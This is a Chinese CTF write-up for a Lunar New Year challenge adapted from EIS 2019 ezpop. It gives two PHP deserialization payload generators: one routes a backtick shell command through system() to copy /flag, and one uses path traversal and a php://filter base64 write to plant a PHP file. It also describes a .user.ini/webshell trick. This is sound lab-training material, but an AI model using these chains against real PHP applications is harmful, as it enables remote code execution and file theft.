一、前言

原本想着过年了搞搞活动啥的,说从日本回来出三个题给大家发发红包的,结果事情挺多的,搞了一个题放出来先让大家玩玩。

二、解题情况

最终在截止时间之前有 19 位同学做出来,其中第一位同学在题目放出两个小时之后就做出来了,很赞?

三、Writeup

接下来就是 Writeup 了,过着年事情挺多的,就把大家用到的方法简略写一下了。

本题改编自 EIS 2019 的 ezpop,那时候在做题的时候发现了另外一种解法,但事后发现没人就着那种方法写 wp,所以就暂时搁置下来留着以后拿来用用。

在这里和原题不同的是加了下面这个,对文件名有所控制。

public function getCacheKey(string $name): string {
        // 使缓存文件名随机
        $cache_filename = $this->options['prefix'] . uniqid() . $name;
        if(substr($cache_filename, -strlen('.php')) === '.php') {
            die('?');
        }
        return $cache_filename;
    }

原题 Writeup:http://www.rayi.vip/2019/11/27/EIS%202019/

1、预期解

使用如下的 Payload(前面类定义省略,自己复制):

$testB = new B();
$testB->options['prefix'] = 'abc';
$testB->options['serialize'] = 'system';
$testB->options['data_compress'] = false;
$testB->options['expire'] = "aaa\n";
$testB->writeTimes = 0;
$testA = new A($testB, "miao");
$testA->autosave = false;
$testA->cache = ['aaq' => '`cat /flag > ./flag.php`'];
$testA->complete = true;

echo urlencode(serialize($testA))."\n";

关键在 serialize 和 cache 里的命令那,

到源码中的

$data = $this->serialize($value);

此处即可调用任意函数并且传参,即便参数在上面

return json_encode([$cleaned, $this->complete]);

被 json 编码了,但我们仍然可以在其中插入一段完整的内容,所以插入一段用反引号`括起来的命令,由于整段东西传入 system 函数之后是调用 shell 来执行,执行顺序有先后,反引号内的会被先执行,即可达到我们执行命令的目的。

更多信息可以参考 https://www.anquanke.com/post/id/194036

2、其他解法1

为了降低难度,文件名那里没有封死,于是就给了大家很多发挥的空间。

对于前面的随机值,使用/../即可截断,后面即可追加写任意文件。

于是先写一个 .user.ini,然后写一个 .jpg 里面带马,使其追加到其他 php 后面作为 php 执行即可。

参见 http://althims.com/2020/01/29/buu-new-year/

3、其他解法2

和上面大同小异,也是任意写文件的锅,这里对于尾部 .php 的限制,可使用追加 /. 来绕过。

$testB = new B();
$testA = new A($testB, $key = '/../miao1.php/.');
$testA->complete = true;
$testA->autosave = false;
// <?php phpinfo();?\>
$testA->cache = array("PD9waHAgcGhwaW5mbygpOz8+"=>"");
$testB->options['prefix'] = 'php://filter/write=string.strip_tags|convert.base64-decode/resource=';
$testB->options['serialize'] = 'strval';
$testB->options['data_compress'] = false;
$testB->options['expire'] = "aaa\n";
$testB->writeTimes = 0;

echo urlencode(serialize($testA))."\n";

更多方法,欢迎补充。

预告:今晚(2020年01月29日)晚八点开放 MISC 新春红包题。